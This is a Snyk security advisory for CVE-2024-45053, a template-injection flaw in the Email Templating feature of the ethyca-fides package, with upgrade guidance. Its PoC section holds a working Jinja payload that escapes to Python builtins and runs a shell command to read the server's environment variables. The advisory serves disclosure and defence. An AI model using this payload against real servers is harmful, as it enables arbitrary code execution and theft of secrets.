Improper Control of Generation of Code ('Code Injection') Affecting ethyca-fides package, versions [2.19.0,2.44.0)
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Test your applications- Snyk ID SNYK-PYTHON-ETHYCAFIDES-7897504
- published 5 Sep 2024
- disclosed 4 Sep 2024
- credit grmpyninja
Introduced: 4 Sep 2024
CVE-2024-45053 Open this link in a new tabHow to fix?
Upgrade ethyca-fides to version 2.44.0 or higher.
Overview
ethyca-fides is an Open-source ecosystem for data privacy as code.
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') due to improper input sanitization and lack of rendering environment restrictions in the Email Templating feature. An attacker can execute arbitrary code on the server by injecting malicious templates.
Note:
This is only exploitable if the attacker has Owner or Contributor role access.
OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.
PoC
Your privacy request has been denied.
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{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
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